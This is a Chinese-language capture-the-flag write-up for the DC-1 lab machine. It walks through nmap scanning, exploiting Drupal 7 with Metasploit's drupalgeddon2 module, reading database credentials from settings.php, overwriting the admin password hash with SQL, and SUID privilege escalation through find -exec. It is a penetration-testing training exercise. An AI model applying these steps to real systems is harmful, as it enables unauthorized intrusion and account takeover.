DC-1靶机通关记录
靶场环境
局域网网段:192.168.47.0/24
攻击机 kali:192.168.47.128/24
目标器 DC-1:192.168.47.135/24
打靶目标
找到藏在DC-1靶机中的五个flag。
信息收集
已知目标机器与我们的攻击机在同一个网段,为192.168.47.0/24。
寻找靶机真实IP
利用nmap探测局域网内存活的主机
nmap -sP 192.168.47.0/24 |

已知kali机IP为192.168.47.128,所以目标机器IP为192.168.47.135
探测端口以及服务
nmap命令
nmap -A -p- -v 192.168.47.135 |

目标机器开放了22端口,开启远程连接服务。80端口,开启web服务,使用的框架为Drupal 7。111端口,开放了rpcbind服务。访问web站点

MSF渗透
百度Drupal 7版本存在很多漏洞,比如远程代码执行。正好Metersploit工具中有Drupal漏洞攻击模块。可以用此工具来进行攻击,拿到目标机器的shell。
拿到shell
msfconsole |
开启MSF工具控制台。
search Drupal 7 |
搜索框架历史漏洞。

之前网上百度该框架2018年爆出一个远程代码执行的CVE漏洞,那么就用此模块来打。选择此模块
use exploit/unix/webapp/drupal_drupalgeddon2 |
设置目标主机IP
set rhosts 192.168.47.135 |
然后执行exp攻击,拿到目标主机的shell。

python反弹交互式shell
python -c "import pty;pty.spawn('/bin/bash')" |
这行代码利用pty模块中的spawn函数,将当前程序的标准输入、输出和错误重定向到一个新的终端窗口中,从而获得一个交互式的shell环境。

寻找flag
发现flag1
在当前的web目录发现flag1.txt,打开获得提示。

提示我们查找配置文件,百度Drupal框架的配置文件在
/var/www/sites/default/settings.php |
发现flag2
打开配置文件,发现flag2.

此外还有数据库的一些敏感信息,利用这些信息我们可以登录数据库。
登录数据库

查看user表发现admin的登录信息。

可惜管理员的密码被hash加密了。不过Drupal框架内设置了可以置换管理员密码的功能。相关链接:
http://drupalchina.cn/node/2128 |
置换管理员密码
在Drupal框架中有一个生成hash的脚本文件,我们可以将指定密码的hash值替换进去。

利用mysql的update更新语句将管理员密码替换为我们所设置的。
update users set pass="$S$D.hNM63.5sEpCaL0K/Qcv4LazQn0MuHsQcyCv8KUxVoAS1zfzwAV" where name="admin"; |

发现flag3
把管理员密码修改后直接登录网站。

直接登陆进后台,随便看看,找到flag3

下面文字提示我们要通过find命令来提权。
发现flag4
suid提权
在/home/flag4目录下发现flag4.txt,用cat查看提示说需要提权。

使用find命令查看设置有suid权限的可执行文件
find / -perm -4000 2>/dev/null |

发现find命令设置有suid权限,用find来执行命令。
find / -name 111 -exec "whoami" \; |

是root权限,直接开始提权。

提权成功为root
找到finalflag
切换到root目录,发现最后的flag,此时已经为最高权限,直接查看文件内容。

Well done!!!本靶场已经全部通关。